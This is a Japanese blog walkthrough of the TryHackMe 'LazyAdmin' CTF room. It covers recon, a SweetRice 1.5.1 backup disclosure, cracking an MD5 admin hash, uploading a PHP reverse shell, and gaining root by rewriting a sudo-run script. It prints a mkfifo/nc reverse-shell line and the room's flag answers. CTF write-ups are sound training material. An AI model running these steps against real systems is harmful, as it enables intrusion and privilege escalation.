0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

概要

TryHackMe「LazyAdmin」のWalkthroughです。

Task1

Q1.What is the user flag?

nmapを実行します。

$ nmap -Pn -sC -A -T4 -sV 10.10.68.113    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-13 05:38 EDT
Nmap scan report for 10.10.68.113
Host is up (0.24s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 49:7c:f7:41:10:43:73:da:2c:e6:38:95:86:f8:e0:f0 (RSA)
|   256 2f:d7:c4:4c:e8:1b:5a:90:44:df:c0:63:8c:72:ae:55 (ECDSA)
|_  256 61:84:62:27:c6:c3:29:17:dd:27:45:9e:29:cb:90:5e (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.55 seconds

ssh:22,http:80がオープンしていると分かりました。

隠しディレクトリを列挙します。

$ gobuster dir -u http://10.10.68.113 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

2つのパスがわかりました。

/content              (Status: 301) [Size: 314] [--> http://10.10.68.113/content/]
/server-status        (Status: 403) [Size: 277]

/contentにアクセスするとSweetRiceが使われていると分かりました。

content page.png

GitHubでディレクトリ構成を把握できました。

/content/inc/latest.txtにアクセスし、バージョンが1.5.1だとわかりました。

version.png

エクスプロイトコードを検索するといくつかヒットしました。

$ searchsploit sweetrice 1.5.1
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
SweetRice 1.5.1 - Arbitrary File Download                                          | php/webapps/40698.py
SweetRice 1.5.1 - Arbitrary File Upload                                            | php/webapps/40716.py
SweetRice 1.5.1 - Backup Disclosure                                                | php/webapps/40718.txt
SweetRice 1.5.1 - Cross-Site Request Forgery                                       | php/webapps/40692.html
SweetRice 1.5.1 - Cross-Site Request Forgery / PHP Code Execution                  | php/webapps/40700.html
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

SweetRice 1.5.1 - Arbitrary File Uploadなどを見るとログイン情報が必要なので他を当たります。

php/webapps/40716.py
username = input("Enter Username : ")
password = input("Enter Password : ")
filename = input("Enter FileName (Example:.htaccess,shell.php5,index.html) : ")
file = {'upload[]': open(filename, 'rb')}

payload = {
    'user':username,
    'passwd':password,
    'rememberMe':''
}

SweetRice 1.5.1 - Backup Disclosureに注目します。

これはhttp://localhost/inc/mysql_backupにアクセスするとMysqlのバックアップファイルを取得できるということです。

今回の環境ではhttp://<target ip>/content/inc/mysql_backupにアクセスするとバックアップファイルを得られました。

mysql backup.png

バックアップファイルを見ていると、クレデンシャル情報を見つけました。

"Description\\";s:5:\\"admin\\";s:7:\\"manager\\";s:6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\";s:5:\\

Username: manager,パスワードはハッシュ化されています。
ハッシュ値を調べるとMD5だとわかりました。

hash analyzer.png

ハッシュ値の解析をします。

$ john --format=raw-md5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt 
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
Password123      (?)     
1g 0:00:00:00 DONE (2024-06-13 07:45) 14.28g/s 482742p/s 482742c/s 482742C/s coco21..redlips
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

パスワードがPassword123だとわかりました。

/content/asにアクセスするとログインフォームがあるので、得られたクレデンシャル情報でログインを試みます。

login page.png

成功しました。

login success.png

ログイン情報を得られたのでSweetRice 1.5.1 - Arbitrary File Uploadの悪用を試みます。

+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+
|  _________                      __ __________.__                  |
| /   _____/_  _  __ ____   _____/  |\______   \__| ____  ____      |
| \_____  \ \/ \/ // __ \_/ __ \   __\       _/  |/ ___\/ __ \     |
| /        \     /\  ___/\  ___/|  | |    |   \  \  \__\  ___/     |
|/_______  / \/\_/  \___  >\___  >__| |____|_  /__|\___  >___  >    |
|        \/             \/     \/            \/        \/    \/     |
|    > SweetRice 1.5.1 Unrestricted File Upload                     |
|    > Script Cod3r : Ehsan Hosseini                                |
+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+

Enter The Target URL(Example : localhost.com) : 10.10.68.113/content
Enter Username : manager
Enter Password : Password123
Enter FileName (Example:.htaccess,shell.php5,index.html) : php-reverse-shell.php5
[+] Sending User&Pass...
[+] Login Succssfully...
[+] File Uploaded...
[+] URL : http://10.10.68.113/content/attachment/php-reverse-shell.php5

PHPのリバースシェルコードをアップロードしました。

Netcatでリッスンします。

$ nc -lvnp 1234
listening on [any] 1234 ...

http://10.10.68.113/content/attachment/php-reverse-shell.php5にアクセスすることで、シェルを取得できました。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.68.113] 34968
Linux THM-Chal 4.15.0-70-generic #79~16.04.1-Ubuntu SMP Tue Nov 12 11:54:29 UTC 2019 i686 i686 i686 GNU/Linux
 14:47:53 up  2:17,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

/home/itguy/user.txtを閲覧してフラグゲットです。

$ cat /home/itguy/user.txt
cat /home/itguy/user.txt
THM{63e5bce9271952aad1113b6f1ac28a07}

A.THM{63e5bce9271952aad1113b6f1ac28a07}

Q2.What is the root flag?

sudo -lを見ます。

$ sudo -l
sudo -l
Matching Defaults entries for www-data on THM-Chal:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on THM-Chal:
    (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl

sudo /usr/bin/perl /home/itguy/backup.plがパスワードなしで特権ユーザーとして実行できると分かりました。

backup.plの内容を見てみます。

backup.pl
#!/usr/bin/perl

system("sh", "/etc/copy.sh");

/etc/copy.shを実行していると分かりました。
/etc/copy.shの内容を見ます。

/etc/copy.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.190 5554 >/tmp/f

特にこのコードで権限昇格には繋がらなさそうですね。
/etc/copy.shはwww-dataアカウントで編集可能なので編集して権限昇格につなげます。

pythonが使えると分かりました。

python --version
Python 2.7.12

上記のGTFOBinsを参考にpythonの権限昇格コードを/etc/copy.shに保存します。

$ echo '/usr/bin/python -c '"'"'import os; os.system("/bin/sh")'"'" > /etc/copy.sh

/home/itguy/backup.plを実行すると特権ユーザーのシェルを獲得できました。

$ sudo /usr/bin/perl /home/itguy/backup.pl
sudo /usr/bin/perl /home/itguy/backup.pl
# whoami
whoami
root

/root/root.txtのフラグを取得できました。

# cat /root/root.txt
cat /root/root.txt
THM{6637f41d0177b6f37cb20d775124699f}

A.THM{6637f41d0177b6f37cb20d775124699f}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?